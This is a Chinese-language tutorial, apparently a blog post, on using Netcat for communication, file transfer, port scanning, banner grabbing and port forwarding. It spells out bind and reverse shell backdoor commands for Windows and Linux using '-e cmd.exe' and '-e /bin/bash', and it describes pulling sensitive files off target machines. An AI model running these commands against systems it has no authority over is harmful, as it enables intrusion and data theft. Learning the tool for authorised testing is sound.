Netcat使用

Netcat使用

  • 简介
  • 使用方法
    • 命令参数
    • 实现简单的通信
      • 创建服务端方法
      • 创建一个客户端方法(连接服务端)
    • 返回shell的使用
    • 文件传输
      • 使用场景
      • 使用方法
        • 创建一个服务器端(接收文件)
        • 创建一个客户端(发送文件)
    • 信息探测
      • 使用场景
      • 端口扫描的使用方法
      • Banner信息抓取
    • 建立后门
      • 使用场景
      • window建立后门使用方法
        • 监听型后门
        • 连接型后门
      • linux建立后门使用方法
        • 监听型后门
        • 连接型后门
    • 连接转发

简介

Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。

使用方法

命令参数

参数 解释
-d 脱离命令窗口,在后台运行,常用于后门建立过程。nc运行时关闭窗口之后,就会终止执行,使用-d参数是关闭窗口之后也会继续运行。
-e 执行某个程序,常用于后门建立进程 。
-G 设置网关,常用于突破内网限制。
-g 路由跳数 。
-i 设置发送每一行数据的时间间隔。
-l 设置nc处于监听状态等待客户端连接。
-L 设置nc处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态。
-n 设置netcat只识别ip地址,不在进行DNS解析。
-o 设置传输十六进制的数据。
-p 设置本地监听的端口号。
-r 设置nc随机化的端口号。
-s 设置nc源地址用来设置不同的ip地址,可以用在端口扫描上,用来隐藏自己真实的ip地址。
-t 回复telnet的请求数据包。
-u 设置nc使用UDP模式。nc的所有请求默认使用TCP协议传输。当服务器过滤了TCP连接就可以使用-u参数来切换到UDP协议绕过某些过滤。
-v 显示错误提示信息。当进行端口扫描和抓取banner信息时使用该参数查看端口报错信息
-w 设置连接超时秒数。
-z 设置扫描模式,表示发送的数据包不含任何payload。可以加快扫描的速度,缩短扫描的时间。

实现简单的通信

在一些特殊的环境下,需要沟通的时候可以使用Netcat创建一个简单的聊天服务器,预先确定好的端口,这样双方就可以进行交流。

创建服务端方法

nc -l -p [localpost]
-l:启动监听模式
-p:监听某个端口的连接
[localpost]:需要监听的端口

创建一个客户端方法(连接服务端)

nc [remote_addr] [remotepost]
[remote_addr] :服务器端的ip地址
[remotepost]:端口号(需要与监听的服务器端端口号相同否则无法成功)

在这里插入图片描述
在这里插入图片描述

这种通信,仅仅实现了一个简单的通信系统(类似于聊天)服务器端和客户端可以相互发送文本信息,并不能对机器进行命令执行。

返回shell的使用

创建一个服务端方法

nc -l -p [localport] -e cmd.exe

创建一个客户端方法(连接服务端)

nc [remote_addr] [remoteport]

文件传输

nc中的数据传输,使用的是标准的输入,输出流,所以可以直接利用命令行来进行操作。

使用场景

1.取证
当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差
2.单纯获取目标机器上的敏感文件
当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。

使用方法

创建一个服务器端(接收文件)

nc -l -p [localport] > outfile
outfile:接收的文件名

创建一个客户端(发送文件)

nc [remote_addr] [remoteport] < infile
infile:发送的文件名

<为上传,>为接收
接收的文件名和发送的文件名不一定需要一致

信息探测

使用场景

1.目标内网的扫描
当获得目标权限之后,如果目标没有任何途径可以对内网进行探测时,可以使用nc进行内网ip和端口扫描。
2.对某个目标进行端口探测
3.对目标的服务banner进行抓取

端口扫描的使用方法

nc -v -n -z -w1 [target_ip] [start_target_post-stop_target_port]
-v:表示对错误进行详细输出
-n:不对目标机器进行DNS解析
-z:zero I/o 模式,专用于端口扫描。表示对目标ip发送的数据表中不包含如何payload,这样做可以加快扫描的速度
-w1:超时设置为1秒(一秒连接不到服务器将会自动断开)
[target_ip]:扫描的ip
[start_target_post-stop_target_port]:想要扫描的端口范围,可以是多个也可以是单个,多个需要用横杆(-)连接

Netcat使用_第1张图片
在端口号之后括号内的内容为端口的服务;

Banner信息抓取

echo “ ” | nc -v -n -w1 [target_ip] [start_target_port-stop_target_post]

通过管道传递向每个端口发送信息。从而使端口返回banner信息。

建立后门

使用场景

获取目标的命令执行权限
当目标机器上存在nc之后,可以使用nc建立后门,以此实现执行目标命令的功能。
能够使用nc建立后门并且返回操作结果的原因:nc的一切数据是通过标准输入/输出流来实现的,所以能够利用nc的命令进行后门建立,并传输结果信息

window建立后门使用方法

监听型后门是让服务器端执行nc -l -p [localpost] -e cmd.exe命令由客户端使用nc连接得到服务器端的shell;
连接型后门是让客户端使用nc [remote_ip] [remote_post] -e cmd.exe命令,使得服务器用nc -l -p [localpost]得到客户端的shell。

监听型后门

nc -l -p [localpost] -e cmd.exe(服务器端)
-l:启动监听模式
-p:监听某个端口的连接
[localpost]:端口号
-e:执行给定的命令

当某个客户端连接到该服务器时,该服务器就会返回服务器运行的操作系统上的cmd.exe,使客户端可以执行服务器端的某些命令。

连接型后门

nc [remote_ip] [remote_post] -e cmd.exe(客户端)
[remote_ip] :ip地址
[remote_post]:端口号
使连接的客户端会返回给服务器端一个cmd.exe

linux建立后门使用方法

监听型后门

nc -l -p [localpost] -e /bin/bash(服务器端)
-l:启动监听模式
-p:监听某个端口的连接
[localpost]:端口号
-e:执行给定的命令

连接型后门

nc [remote_ip] [remote_post] -e /bin/bash(客户端)
[remote_ip] :ip地址
[remote_post]:端口号

window下的shell为cmd.exe;linux下的shell为/bin/bash
无论哪一种连接方式,都需要使用参数-e来返回对应的shell

连接转发

echo nc [target] [post] > delay.bat
nc -l -p [localpost] -e delay.bat
delay.bat:window下的批处理文件。

当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port 上实现了连接转发功能。(端口转发)

你可能感兴趣的:(WEB,内网渗透,netcat,netcat)